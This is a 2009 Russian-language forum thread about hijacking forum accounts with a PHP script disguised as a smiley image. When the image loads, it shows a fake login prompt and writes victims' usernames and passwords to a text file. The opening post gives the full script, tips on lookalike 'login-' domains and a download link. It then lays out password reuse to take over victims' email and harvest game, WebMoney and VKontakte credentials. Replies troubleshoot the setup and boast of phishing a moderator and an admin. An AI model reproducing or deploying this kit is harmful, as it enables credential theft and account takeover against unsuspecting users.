ДОБАВЛЮ : сайты можно и с юкоза, но я регал на [Ссылки могут видеть только зарегистрированные пользователи. ]
Вот не помню где нашел, классная штука..
Вот описание :
Суть угона заключается в простом смайлике, который запрашивает авторизацию, вы регистрируетесь на форуме, ставите себе в подпись, или можете кому то в лс отправить его, или в сообщение добавить [ img ]ссылка на смайл[ /img ]
вот и все, как только человек увидит этот смайл, у него выскакивает такая табличка
[Ссылки могут видеть только зарегистрированные пользователи. ]
Сверху пишет сайт на котором у вас этот смайл,( потому и рекомендую делать его в типе : login или похожу что то на сайт того форума где разводите )
внизу то что вы уже сами можете написать ,мне нужно было для пульса, я написал pulseworld.ru , это вы можете редактировать в самом скрипте..
Ниже в теме все описано что для этого нужно редактировать
собственно это и есть окно авторизации, для того что бы такое прокатило, вам нужно зарегистрировать сайт, с ФТП , я зарегал на h16.ru , но можете и на Ucoz'е, лудше всего регать , как я увидел на своем опыте, сайт примерно такой : login-сайт вашего сервера или что то такое, например : login-zhyk.h16.ru , ну или что то в этом роде , круче придумаете , будет больше шанс развести кого то..
заливаете файлы с архива, на свой сайт, точней на ФТП, вам нужно залить все файлы, и .htaccess , не знаю как у вас но у меня через тотал и через файрзиллу не лило, пришлось качать ФТП Commander.
сама суть развода заключается вот в чем: вы кидаете смайл, который запрашивает авторизацию, т.к. это не смайл а PHP скрипт.. я сам в этом не очень конечно разбираюсь но стараюсь на нормальном языке рассказать.. как понял сам.
Это код скрипта, тут все описано, в зависимости где хотите разводить , надо менять скрипт , то есть эту строчку :
"Header('WWW-Authenticate: Basic realm="pulseworld.ru"');"
я например просто ради прикола хотел потестить работает ли оно на самом деле, оказалось работает..
на ФТП моего сайта мне в файле passwords.txt в него мне записывали пароли тех кто авторизовался в моем смайле... каждый акк и пасс в новом рядке.
Код:
<?
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="Авторизуйтесь Пожалуйста"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
Это конечно круто, но зачем нам какой то акк от форума, какое он даст нам преимущество.., а вот какое:
Вот мы уже знаем АКК и пасс ,человека которого развели, пусть для примера это будет .. Акк : qip пасс: piq
ну попадется на развод много народу , нам нужно выбрать того, у кого на ваш взгляд - может быть Какой то нормальный шмот, или пушка или еще какие то преимущества , что бы не делать всего этого зря.
На форуме заходим в вкладку изменить эмейл, там видим, пишет: Ваш текущий эмейл например будет : [email protected] , в большинстве случаев пароль от форума соответствует паролю от эмейла в 80-90% случаях..
С эмейла нам тоже ничего не взять,"но" на эмейле может быть регистрации с других серверов, и в них пароли и аккаунты от сервера, например регистрируемся на ла2 ворлд, и тебе на эмейл приходит сообщение, "Поздравляем с успешной регистрацией, ваш аккаунт такой то , и пароль такой то"
Так можно найти много хорошего, даже те же пароли от Веб мани, или что то в этом роде.. и даже тот же контакт, в котором могут быть голоса,
Вот и сама ссылка на файл, в архиве есть видео мануал, и еще файл блокнота
_http://depositfiles.com/ru/files/s3nvp0ieh?redirect
в котором есть описание автора, этой проделки, но описание на этом форуме ,Описание делал сам,мой мануал с тем что в архиве не имеет ничего общего, (оттуда ничего не копировал), мануал писал я сам .
вот мой смайл, можете вводить авторизацию любые слова, и у вас покажет смайл, можете нажать отменить и все одно увидите, но при разводе народ вводит свой акк потому что думают - что это окно авторизации для форума
_http://login-vh.h16.ru/1/smile.gif
Re: Угон акка на форуме, и последовательно на сервере
Цитата:
Сообщение от pandasir
Нелюблю хохлов! Так испоганить великий и могучий... користувач - это шозанах такой??? похоже на слово 3.14дорас... и вообще, буквы те же, а говор крестовский.
а ты читал посты повыше, я уже говорил что я с Украины , и общаюсь в реальности на Украинском, сколько об этом напоминать ёмаё .
Цитата:
Сообщение от smertoO
Какойто нубас так пытался на форуме мелка разводить
каждый форумный троль пополнил словарный запас того кто сделал табличку)
хм.. если скачаете , увидите видео мануал в котором развели админа форума.
Даже и там где я разводил , модератора форума развел, при том что думаю модератор не должен был купится на такую фигню..
и еще, откуда знали кто разводил? ты подумал об этом? если на форуме у каждого в подписи стоит картинка, а у меня в подписи стоит маленький смайлик, то даже тот же админ не будет знать чьё это..разве что будет заходить в профиль каждого пользователя, и смотреть подпись, а если на форуме зарегано тысячи пользователей, думай он этим заниматься не будет, Вот потому я и говорю что бы все понять нужно читать все что я написал, Там Четко Видно, Что бы не регать сайт таким какой у вас ник.. ясно если у меня на форуме ник 9JIOX и вы зарегистрируете такой сайт вас вычислят, а если такой как у меня то фиг ты узнаеш у кого стоит этот развод...
Да и конечно если ты знаеш эту тему то да, ты не будешь вводить акк и пасс, а большинство то этого не знает , и поэтому ведутся.
________________
Зачем Ла2 себе скачал? Зачем ее установил? Я сон нормальный потерял. Про жизнь реальную забыл.
Последний раз редактировалось H0oL1GaN; 13.11.2009 в 00:42.
Re: Угон акка на форуме, и последовательно на сервере
Блин не могу понять что не так делаю. Заливаю на серв файлы через FileZilla FTP Client потом выставляю 755 права доступа. Все после этого указываю адрес к файлу смайл и нех не пашет, я чет пропустил?( Кто может помочь плз стукните в асю 570128188
________________
Все материалы исключительно для ознакомления. (Рад помочь!)
[Ссылки могут видеть только зарегистрированные пользователи. ]
Последний раз редактировалось Glavos; 14.11.2009 в 23:00.
Re: Угон акка на форуме, и последовательно на сервере
я наверно могу поспорить что вы не залили файл .htaccess
и на каком домене создавали файлы?
если на h16 , то там есть папка когда через ФТП заходиш, "WWW" в неё надо было зайти и залить смайлы, ну или создать еще в ней папку "1" например(как у меня) и туда уже все файлы залить, только измените файл
"smile.gif" перед тем как заливать, там есть типо когда тыкаеш правой клавишей мыши , и там есть , изменить как текст, вот и все откроется как я выше написал ,скрипт и в этой строчке "
Header('WWW-Authenticate: Basic realm="Авторизуйтесь Пожалуйста"'); "
пишем вместе "авторизируйтесь Пожалуйста" пишем например название вашего сервера, вот и все.
а по сообщению предыдущему, на каком ты форуме розводиш? и какой сайт зарегал? и изменил ли ты файл "smile.gif ? своими словами?
как я выше написал сайт своего серва, на руоффе незнаю покатит ли, потому что там уже так розводили)
Вот моя ася если что , 498889201
И скайп, iloveamoh
Вот зайдите на мою ссылку , для моего розвода ,_http://login-vh.h16.ru/1/smile.gif
видеш в ссылке есть /1/ это моя папка в каторой находится смайл, но она должно находится в папке WWW.
Добавлено через 2 минуты
Цитата:
Сообщение от mazatraker5
А обязательно файл htaccess должен быть без имени?или можно поставить 1 а то фтп не заливает "bad name"
Я же сказал, файл .htaccess нужно лить с помощью ФТП коммандера, потому что с файр зиллы ,и через тотал командер не льет.
Добавлено через 7 минут
Цитата:
Сообщение от smertoO
да не на форуме мелка не умный чел попался он в конце каждого поста ставил невидимую картинку с етой фигнёй, и я его спалил и выдал нечаяно, хотев ответить на его пост)
Способ то работает некто и не спорит но много ли идиотов с одинаковыми никами на форуме и л2?
а , я уже писал выше, что ты не розводиш на акки и игре, просто на многих серверах, есть такая фигня, что присылает твой акк и пас, и пишет , "поздравляю вас с регистрацией" ваш акк такой то , ваш пасс такой то.
а с этого ты уже розводиш, может быть я вот 1 акк взял своего форума, и там был акк с аббуса, но на аббусе я не играю, поетому мне и ненужно...
Подумайте о том что 1 человек играет на многих серверах, и если его мыло сломают то будет плохо, например если моё сломать там будут пассы и акки от многих серверов) у меня 700 сообщений дето с разными ссылками от сервов, просто я их неудаляю из за того что могу забыть пасс, и вообще мне влом)
ЗЫ. я думаю не 1 такой))
________________
Зачем Ла2 себе скачал? Зачем ее установил? Я сон нормальный потерял. Про жизнь реальную забыл.
Последний раз редактировалось H0oL1GaN; 15.11.2009 в 13:51.
Причина: Добавлено сообщение
Re: Угон акка на форуме, и последовательно на сервере
Цитата:
Сообщение от ZliLO
Заставлять нажимать ничего не надо. Он открывает страничку, где находиться волшебный смайлик, и всплывает окошко с предложением ввести логин\пароль
Ну никакую страничку он не открывает, просто как у тебя в подписи стоит это ТАГ ТЕАМ это может быть той картинкой для развода, и кто загрузит эту страницу у него сразу же выбьет окно авторизации вот и все ничего сложного, кстати тут 1 человек не мог создать свой сайт, ну он отсылает мой смайл, на руоффе уже нормально развел, я ему каждый день там новые акки и пассы даю, но он кидает сообщения с этим смайлом в лк , так что это намного дольше)))
________________
Зачем Ла2 себе скачал? Зачем ее установил? Я сон нормальный потерял. Про жизнь реальную забыл.
Re: Угон акка на форуме, и последовательно на сервере
Всё отлично работает только я думаю, что файлу passwords.txt надо запретить права чтения)) а то понимающие люди могут смотреть ваши достяжения... например [Ссылки могут видеть только зарегистрированные пользователи. ]
Re: Угон акка на форуме, и последовательно на сервере
знаю знаю...
вроде просто нужно поставить в правах доступа к файлу
для тотал командера: Изменить Атрибуты и ставите Все кроме "Чтение" , чтение ставте только владельцу сайта , так вы сможете просмотреть файл пассвордс только через фтп ...
вот теперь попробуйте посмотреть на мой файл...
все зделал, проверил авторизация роботает нормально..!
[Ссылки могут видеть только зарегистрированные пользователи. ]
вот что я поставил, и все "Крутатенюшка"
________________
Зачем Ла2 себе скачал? Зачем ее установил? Я сон нормальный потерял. Про жизнь реальную забыл.
Re: Угон акка на форуме, и последовательно на сервере
спс автору, разобрался даже без видео-мануала, все оказалось просто, но администрация уже просекла эту фишку и сейчас чистят темы и банят всех кто юзал данный метод =\
Re: Угон акка на форуме, и последовательно на сервере
Ну у меня Файл .htaccess тоже не хотело лить, ни через тотал коммандер ни через файрзиллу, много ФТП прог скачал, покатило только через FTP Commander , можете попробовать может быть у вас получится
Добавлено через 3 минуты
З.Ы. Модеры можете добавить это -
Цитата:
знаю знаю...
вроде просто нужно поставить в правах доступа к файлу
для тотал командера: Изменить Атрибуты и ставите Все кроме "Чтение" , чтение ставте только владельцу сайта , так вы сможете просмотреть файл пассвордс только через фтп ...
вот теперь попробуйте посмотреть на мой файл...
все зделал, проверил авторизация роботает нормально..!
[Ссылки могут видеть только зарегистрированные пользователи. ]
вот что я поставил, и все "Крутатенюшка"
в самый первый пост, в верху темы и зделайте типо число типо "добавлено 27.11.09" и вот этот пост, в самом верху темы
Заранее благодарен.
________________
Зачем Ла2 себе скачал? Зачем ее установил? Я сон нормальный потерял. Про жизнь реальную забыл.
Последний раз редактировалось H0oL1GaN; 27.11.2009 в 23:52.
Причина: Добавлено сообщение
Регистрация: 11.08.2009
Сообщений: 35
Популярность: 104
Сказал(а) спасибо: 20
Угон акка на форуме, и последовательно на сервере
он в конце каждого поста ставил невидимую картинку с етой фигнёй, и я его спалил и выдал нечаяно, хотев ответить на его пост)
и только 
введёт логин и пароль для просмотра смайлика...
